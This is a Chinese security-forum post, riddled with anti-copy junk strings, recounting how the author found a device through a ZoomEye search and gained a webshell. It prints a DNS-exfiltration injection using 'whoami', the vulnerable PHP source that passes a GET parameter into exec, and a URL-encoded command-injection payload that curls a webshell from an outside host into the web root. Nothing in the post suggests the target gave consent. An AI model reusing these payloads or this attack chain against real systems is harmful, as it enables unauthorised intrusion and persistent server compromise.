中国网络渗透测试联盟
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[打印本页]
作者:
admin
时间:
2022-3-31 01:39
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
0 s! [7 v, \6 g% {
** **寻找突破口**
/ `' p0 i6 e- X) I5 b' y
. v( @& O: A. g2 L3 C
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
9 Q: E7 M6 [# ? {3 B
+ l! X' n0 b# F' l) T

' o& k, i; Y- ], N+ n* K
& v' O" ~/ F. I7 U" g+ H: o
% Y+ l* P; t# t7 h1 o, l9 W3 `# j! b* T
9 l' b; g( ~& }3 A; T( i
**发现reporter和[Technology,
9 t/ ~4 [& E! G/ C
Inc.](
https://www.zoomeye.org/searchRe ... title:%22Technology
,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
5 {+ K# ^, `8 z2 ]7 J7 h& z
; s# d! ~5 K6 D1 G8 s0 p
**地址为:**
( J8 Y: r1 z! Y( _$ j2 a9 E* a
% d! C; {$ t: E) h# \
[
http://1.1.1.1//view/systemConfi ... ;text_packetsize=64
](
http://1.1.1.1/view/systemConfig ... ;text_packetsize=64
)**,如图:**
" C8 x! N9 y" W* f& |3 z" q. W
0 o+ P% z, S$ @4 @

3 G4 \" U, W, K) J
3 j" g8 y% ]+ ~8 s. B& s c6 U6 o+ L' s
! r) R4 i5 O- }2 A1 w+ O* c t
% x8 q4 ` W" o$ X, u, V4 {
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
# \: x/ J& f+ s; i7 W# y3 R
2 K* V- z; _. d3 o: g6 Q9 m
**`whoami`.1111.ceye.io** **,如图:**
: j6 h2 ~9 h: i2 n4 k/ `% C# S
$ w8 Q5 I% ~) q/ A

# G$ c5 I& W9 V/ B( n
+ L, ^5 X- p; S1 |8 q
- e% L% p+ S7 |# b
; t8 g, i, e5 V9 V
**返回dns记录如图:**
. {0 y- e7 Y5 P1 \0 v4 N3 l# x
1 B; f# @9 t- _1 U r5 `6 T9 {

, u% M( T4 J3 o: |& p
w+ k7 ]; t Y2 f, i
! k% o) B# a& N( ]( h) x( W
- E3 J* \" }3 A( S( d
**发现当前用户权限为root**
8 Z0 d. a5 E& L; G. m7 ~5 U
4 u" U4 }( b( Y- L. N
**一、
/ X0 m) f* U: \
** **通过漏洞组合getwebshell**
! n6 |) A r+ y; h
2 W% N( t" |' D9 V5 p
** ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
/ X D9 P, v6 S: N: r- F& k+ v$ `
2 M$ x1 h. U# J w5 v# N

2 x h* C, t3 g+ [8 J" b. p
( D( h! E k6 Q( p4 [! e
% `5 ]( A8 P9 A) z
. y1 s$ J( Q% L/ g! N8 l: O
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
1 w+ m' ^: l4 k
! D# x* ?0 H% g1 }+ p
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
, K' f$ p9 e' G( T. D$ i: a! o/ g
( j7 p/ q6 S$ r* r( O' }7 J

2 [& t% h6 m1 b
4 t# w: y, @8 g# D; W% |: n! ^9 ?! e
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
J$ V0 U7 u5 U5 m
; t0 U e2 p3 ]) K9 G+ |
\
# W4 D4 F& r. E( ]
' r. W) C* q, A* Z+ a. @& \
; m0 x) O7 P- j. \
**源代码为:**
! ?& ]6 s1 z7 r, K! q, W9 [
- m% q* n( a% u
<?php
/ g7 ^, b0 B$ g4 @9 B
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
9 z( v( q9 w& \6 E( Q* K
?>
- O4 x5 m C m3 I
4 q8 O" H2 D1 I m# Z C8 y' O1 k( s8 j
<?php
1 g) d0 w1 ?9 r5 m, u2 v( y8 u
; l- d/ y# u( d2 v d3 b7 R
8 t8 G- P. q) I* a% \
+ l. x# v% H& i+ s
session_start ();
: |2 m4 p9 f+ Y0 [
1 @/ W' t* o( U* ]5 E
: q7 B* g" z/ C' G
- x1 [, @% h( p1 ^( |9 O8 ^% R8 l. U
+ |3 l5 Z6 m, U1 \1 _0 s) P' W
% O# N5 R3 B. K" p8 R% C& W3 s, u
7 \3 o0 v+ U) {- Z- j
# H2 T7 ?7 M& O
if ($_GET ["objClass"] == "")
$ `& p8 T$ r3 A1 @- w4 Y+ m7 [* u
1 }0 @: a% `4 }) v) x' ?
; W8 f+ ?- F+ c2 K" x- y6 I3 P
" D9 p, f, s6 e. g5 Y
exit ();
3 I' C! R5 o9 W9 e; k/ X* W% Q! `
4 q- s8 p+ l4 H
2 a r% i4 Q5 I3 O9 f$ ^
6 o8 B: V$ _! G q* |# b
$param = $_REQUEST;
, a# M* u0 U7 H' I% C) s& v! @
2 Q! o) s4 y2 D y% a
4 o3 O5 H2 r. l3 H
5 g$ `& h0 J7 s$ @% V3 ?
; t! h# f0 }0 y( t
# K% i! X5 [: |% L) E
- E! |1 p( C' x( A( d
* A0 Q' _) W ]( e9 t( }" k7 ^+ @
//echo "\n--------------------------\n";
! D% h3 K0 s; T/ M6 {# S
& b% n2 ^% `5 o0 j( u
7 t1 T9 x' U- S- ^* d1 y
& L3 X4 `/ X8 k; C3 d
//print_r($param);
, x. e( b7 q# ~* k
. [& {% W D3 E
: c' U3 Q7 W, f) ^
5 n3 l& f0 r8 V0 W' H7 n9 x
//echo "\n--------------------------\n";
/ m& {+ B) @. q7 m2 D9 }3 i! {6 c% z
- r" V& L- k; q
# M) t+ c; M" @. l& t/ ^. @7 l
: L4 d/ N# ]0 h9 F+ X6 k' a
[if ($_GET ["method"] ==
, _7 W9 E* C: J' H0 s
"getList" || $_GET ["method"] == "import" ||
1 J6 r' e0 V$ J9 C/ N& Y
$_GET ["method"] == "processAlarm") ](){
" U8 w9 k# ^6 |! M
: W. J- A0 l7 E$ W$ i+ G* J% G+ ?; Q
7 c4 b5 Q7 k3 u7 f N8 P1 S
2 u5 x" u' Q) X5 m
$param
% U$ `! H$ O" e- z, z* @* p C
["user"] = $_SESSION ["s_userName"];
' H+ ]% _ M* O7 h. V$ l1 [
# l0 P+ {: R2 y. e
1 x2 R+ q* g/ ~5 m
" p8 J n) l; x) E
$param
2 v. |* B# t% _2 F" X% Q5 F4 `
["lan"] = $_SESSION ["lan"];
% `; W$ e# x) [0 x$ _0 P
% ^- W5 p9 k0 d0 W
* b" J: x3 e. q7 y1 A& | l& Q
5 D I% j2 q7 O8 N, ^
$param
& P, M. t5 v: x& o" [. w
["regUserpath"] = $_SESSION ["regUserpath"];
! I6 @4 m# m% _5 s
# z2 [& G9 g6 b- J
+ R: H! J- _) Z, ]- H
d: y: P7 y/ m# H" ]
& n0 p2 W6 q* |# y9 M
- q" K6 V) l; G2 n' R6 F
# Y( P; \+ U V7 l' X' d r6 A
4 q0 r( ^7 A5 ?4 `- z8 h& C* _0 |6 s
exec (
8 H: k# ^$ I5 u& m5 S
"rm -rf /tmp/cache" );
' ?" v$ H3 M: R5 e! N' }
6 w& ] e; L, w' u+ a3 m [- V
/ z/ f$ H% a! n6 }
- m7 n' P$ J% ^" `
[$cmd = "/usr/local/php/bin/php ".$_SERVER
2 m2 Q/ x: C8 V! W4 I" i; G
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
. ~. n- I; {, A6 ^3 w
3 z# M' K' X1 J8 O
: |, e7 G' d1 M; p9 A+ |
( x0 Q, @8 `2 M4 d, e0 n
$cmd .=
# X6 S. O! g' k+ i
" " . $_GET ["objClass"];
( ~ r. m( ~' v3 c& l( F0 ~% I
8 P8 @% u! X1 v6 k8 C
1 b* H9 d$ m, }! _: s* [5 W
4 n1 ?# {" J! e, i1 W
$cmd .=
3 y# B! b4 m: e ]' \
" " . $_GET ["method"];
5 v* f3 A& u5 i0 \. X6 g
4 y* g" A, E. U6 J1 y3 I
' r( @. _ b! v3 m7 U8 \
9 N" ^9 I5 s; z/ d
$cmd .=
2 b* U: z1 B) `" T+ H& e' M
" " . base64_encode ( json_encode ( $param ) );
% W% h4 \) W) ^# t t, ^
3 F, e9 U. u/ G" D7 J+ [9 x6 K
5 Q( T' I4 u" \0 S4 p1 \7 m" F
( w, |3 \9 c! Q- k6 X8 z: Z4 ]
[file_put_contents("/tmp/query_cmd",$cmd);]()
* `# m7 d: m8 i+ \$ q
+ r }+ T& {- N; Y4 Q, A b8 u+ \
/ j1 ?% `7 a3 Q5 ^. e
% u) p! q$ J6 ?
exec ( $cmd . "
% T d, |; g* T
> /dev/null &" );
% _" I" Q* |4 w% ~+ R
9 j7 `' c" M8 X! O$ d' o
9 K% H6 V8 f$ {3 K9 q9 r& ~4 ^& W
5 t5 ~5 l& P4 `' P2 `0 u
5 K) ~" B+ d2 n9 @: A4 y
: ?) m# h9 d/ f- l
} else {
; G) W: e6 H/ G
; R- B7 x, R/ [1 }! {5 m; n, D
+ S, s: K: l2 _$ h* v' A" } d
0 d' r- h1 ]/ P% E3 y) \# Q4 N
require_once
8 ~4 _, }5 `9 I/ b. i. y
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
! u: d$ v( O( t! T- n
' \& E6 z$ t& t* S9 U# e$ s
5 w% _* M$ R0 @! u8 A
; H( c- g3 ]$ Z- P3 v, A" f
$obj = new
4 j, Q* G+ u: m9 Y! e7 O+ ^* V) T2 _
QueryInterface ();
* q1 y& E- C$ Q1 {6 F
6 {5 ^& N% W' h/ e* h
& v/ B- g& h5 `8 C+ _7 s- b7 S
6 P/ T7 |+ q+ @& U ] d
$instance =
& T' ~2 ^! A) w7 d0 a
$obj->getInstance ();
2 n' P$ e' Z8 c: @" D" b3 t" e1 m
1 C" a, {$ C" \# y) B. w% ^
- Q& s) S6 m( C. O4 I3 ^5 _& [0 L
, m% H: W$ n q! D0 y7 h
$instance->invokeMethod
; ]. ^/ i4 R) J) d
( $_GET ["objClass"], $_GET ["method"], $param );
2 `& s7 e6 M* x0 |0 x- T& r
9 F. f# y& U. N
0 h. `% V# \; o; x; @* r
% N* Z, o2 O' _& W4 @# R- E Z1 g4 j
}
" f1 j* Q- R. C! ?1 l! r
0 R* P+ i% Z) z" ]1 t
. F7 ^1 v' H& [, \# c* h) D
3 N1 f' z$ a/ u2 b
exit ();
! V: d1 ?" D! ^4 ?, h1 d3 H, T
% }9 y0 k$ h' m- A" g9 g
& ^. ]1 u# u, ~" ?
, t. w i/ z' S2 k
?>
' n! \' a& S1 ~7 b
' I( K `. a7 q: @/ ?* z( q
**经常简单审计发现if ($_GET
0 W1 k& d3 M2 x1 z% {7 i" e
["method"] == "getList" || $_GET ["method"] ==
+ ^+ k8 y1 D8 m2 \* a8 D
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
[. r* s9 e. n- z* F5 [' P
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
g* t" S: Y* {- k! e
"[system/behavior/behavior_query.php]()"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
% B, i8 ?/ y5 f7 g) D
$ f4 V- f Q& M
** exec ( $cmd
5 R, Y1 ?2 K1 ]: \
. " > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
a' M: h% P& U* i
# n& Y ^ h7 E2 F* ]& i5 ^
/ i. g3 T# V5 I

3 G+ m/ B& V, K! A) U: T* k/ S
4 m, n+ C. I/ v; P
$ b B3 x$ B5 J2 Q- {: t+ e
3 ]: y* T( f1 l1 v. H
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
% y( I/ X# m2 _) K$ X
+ E, \4 M/ k9 \( [
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
( w$ x+ E9 H! Q2 ^, q: }( f7 G, ]' ?
0 ]. W" A; D s: [- }
**我们用url解码如下:**
/ a( x& Y# q) X5 I; v t
5 x" c, w& e) k K `" r
**|curl
http://1.1.1.1/qYCwxRz1.zip
-o
0 }8 x- `. T. P) Z1 `
/var/www/html/images/suiji2.php||`pcurl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #' |curl
http://1.1.1.1/qYCwxRz1.zip
-o
- d. Y/ m7 F2 k. Y0 _/ Q
/var/www/html/images/suiji2.php||`curl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #\" |curl ** [**
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php**](
http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php
)
7 a5 \; f' ]. _1 Y1 k& S/ P
" m N' E) S( u0 @, H3 Z
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
5 @! c1 w+ M/ D; C( v5 r* I
# E8 W3 P- B) e* }, \6 K$ o n
( K# I8 a+ O5 W) M

$ N8 E% i. [0 s% n) ~0 {
+ S6 P. l' g* f2 n4 w+ R
$ ~9 w9 X/ a5 u) N T
. P( m. L% E5 O
1 a8 r m4 g; O4 q
**三、总结**
! j9 G2 `; l f E8 {/ d
. @7 O- |1 v# w$ A
** ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
! A1 J7 x K( B5 Z
/ @4 L$ I: _2 z6 X2 {) m
** ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
/ j* d$ M2 {% ]8 [, I% M( `: ?
[/md]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2